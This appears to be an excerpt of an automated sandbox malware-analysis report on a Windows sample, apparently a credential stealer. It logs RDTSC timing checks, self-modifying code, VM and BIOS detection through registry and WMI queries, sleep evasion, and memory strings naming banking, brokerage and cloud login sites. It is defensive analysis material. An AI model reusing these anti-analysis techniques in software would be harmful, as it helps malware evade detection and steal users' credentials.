Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0DE9 second address: 4EA0E25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop ecx 0x0000000e pushfd 0x0000000f jmp 00007F8908E69215h 0x00000014 sbb cx, 24A6h 0x00000019 jmp 00007F8908E69211h 0x0000001e popfd 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E25 second address: 4EA0E2B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0E2B second address: 4EA0E7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c mov esi, ebx 0x0000000e push ebx 0x0000000f movzx esi, di 0x00000012 pop edx 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 pushad 0x00000017 mov edi, 22846124h 0x0000001c popad 0x0000001d push esi 0x0000001e jmp 00007F8908E69218h 0x00000023 mov dword ptr [esp], ecx 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F8908E69217h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EDD second address: 4EA0EE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EE3 second address: 4EA0EE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA0EE9 second address: 4EA0EED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB099F second address: 4EB09A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09A3 second address: 4EB09A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB09A7 second address: 4EB09AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0A11 second address: 4EB0A41 instructions: 0x00000000 rdtsc 0x00000002 mov edx, 5DB5A24Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, 44B39916h 0x0000000e popad 0x0000000f add dword ptr [esp], 1E0A22C1h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F89084F5D98h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0A41 second address: 4EB0A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0AD3 second address: 4EB0AD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0AD9 second address: 4EB0ADD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0ADD second address: 4EB0B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F89084F5D95h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0B07 second address: 4EB0B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F8908E69217h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F897A8FD066h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0B31 second address: 4EB0B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0B35 second address: 4EB0B39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EB0B39 second address: 4EB0B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0976 second address: 4EC09D8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F8908E6920Fh 0x00000009 jmp 00007F8908E69213h 0x0000000e popfd 0x0000000f mov esi, 7186F66Fh 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 jmp 00007F8908E69215h 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F8908E69218h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC09D8 second address: 4EC09DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC09DE second address: 4EC0A47 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E6920Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F8908E6920Eh 0x00000013 jmp 00007F8908E69215h 0x00000018 popfd 0x00000019 pushfd 0x0000001a jmp 00007F8908E69210h 0x0000001f xor si, A9B8h 0x00000024 jmp 00007F8908E6920Bh 0x00000029 popfd 0x0000002a popad 0x0000002b test esi, esi 0x0000002d pushad 0x0000002e mov dh, cl 0x00000030 push eax 0x00000031 push edx 0x00000032 mov dx, 4632h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0A47 second address: 4EC0ABB instructions: 0x00000000 rdtsc 0x00000002 mov ecx, ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007F8979F836EFh 0x0000000d jmp 00007F89084F5D95h 0x00000012 cmp dword ptr [769B459Ch], 05h 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F89084F5D8Ch 0x00000020 jmp 00007F89084F5D95h 0x00000025 popfd 0x00000026 mov esi, 42A247A7h 0x0000002b popad 0x0000002c je 00007F8979F9B783h 0x00000032 pushad 0x00000033 call 00007F89084F5D98h 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0ABB second address: 4EC0B0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushfd 0x00000006 jmp 00007F8908E69211h 0x0000000b and cx, 4876h 0x00000010 jmp 00007F8908E69211h 0x00000015 popfd 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 jmp 00007F8908E6920Eh 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F8908E6920Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B0A second address: 4EC0B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B10 second address: 4EC0B14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EC0B14 second address: 4EC0B33 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F89084F5D94h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F27DB4 second address: 5F27DC4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E6920Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F27DC4 second address: 5F27DCF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007F89084F5D86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1B1D7 second address: 5F1B1E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8908E69206h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2707B second address: 5F270A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F89084F5D92h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F89084F5D91h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F270A6 second address: 5F270B0 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8908E69206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F27239 second address: 5F2723F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F2723F second address: 5F27243 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F273A3 second address: 5F273BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F89084F5D8Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F273BA second address: 5F273C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F273C0 second address: 5F273CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F297D7 second address: 5F297DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F29A32 second address: 5F29A60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F89084F5D96h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F29A60 second address: 5F29A6A instructions: 0x00000000 rdtsc 0x00000002 js 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F29C51 second address: 5F29C74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F29C74 second address: 5F29CBD instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jp 00007F8908E69222h 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F8908E69212h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F29CBD second address: 5F29CCE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F29CCE second address: 5F29D1D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F8908E69208h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push edx 0x00000011 push eax 0x00000012 jng 00007F8908E69206h 0x00000018 pop eax 0x00000019 pop edx 0x0000001a pop eax 0x0000001b lea ebx, dword ptr [ebp+1244F6B5h] 0x00000021 push 00000000h 0x00000023 push edx 0x00000024 call 00007F8908E69208h 0x00000029 pop edx 0x0000002a mov dword ptr [esp+04h], edx 0x0000002e add dword ptr [esp+04h], 0000001Ch 0x00000036 inc edx 0x00000037 push edx 0x00000038 ret 0x00000039 pop edx 0x0000003a ret 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jl 00007F8908E69206h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4ACC6 second address: 5F4ACE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F89084F5D97h 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4ACE3 second address: 5F4ACEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4ACEF second address: 5F4ACFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4ACFA second address: 5F4ACFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4ACFE second address: 5F4AD20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F89084F5D97h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F160B9 second address: 5F160BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F48FC9 second address: 5F48FCD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F48FCD second address: 5F48FD6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F48FD6 second address: 5F48FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F48FDC second address: 5F48FF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jl 00007F8908E69206h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F48FF0 second address: 5F48FFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F89084F5D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F48FFC second address: 5F49013 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8908E69212h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F492AC second address: 5F492B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F492B0 second address: 5F492BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F492BB second address: 5F492C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F492C1 second address: 5F492C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F492C7 second address: 5F492CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F492CC second address: 5F492D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F492D1 second address: 5F492E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F89084F5D86h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4963A second address: 5F49669 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E6920Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F8908E6920Bh 0x00000010 jmp 00007F8908E69210h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F497F6 second address: 5F497FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F4997F second address: 5F49984 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F49AA6 second address: 5F49AAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F49AAA second address: 5F49ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jne 00007F8908E69206h 0x0000000d pop eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F49ABB second address: 5F49AC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F49D46 second address: 5F49D5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8908E69210h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3F95A second address: 5F3F964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F89084F5D86h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3F964 second address: 5F3F968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F3F968 second address: 5F3F974 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F89084F5D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1CBD4 second address: 5F1CBD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5F1CBD8 second address: 5F1CBE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 58C88C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 737A9C instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 58C8A7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 7B3DA7 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DADAED instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DAB046 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5F577B2 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DADA1B instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5FE78B5 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 5DB5610 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\file.exe TID: 2064	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3784	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5724	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2940	Thread sleep time: -40020s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2264	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5788	Thread sleep time: -30015s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: file.exe, file.exe, 00000000.00000002.2522865244.0000000000708000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2527024488.0000000005F31000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696487552
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696487552\|UE
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696487552u
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696487552f
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696487552x
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696487552}
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696487552
Source: file.exe, 00000000.00000002.2523718524.0000000000F07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2447202098.0000000000F55000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2523718524.0000000000F4F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552
Source: file.exe, 00000000.00000003.2218427711.0000000005866000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696487552p
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696487552
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696487552
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696487552o
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696487552
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: file.exe, 00000000.00000003.2218512865.0000000005859000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696487552j
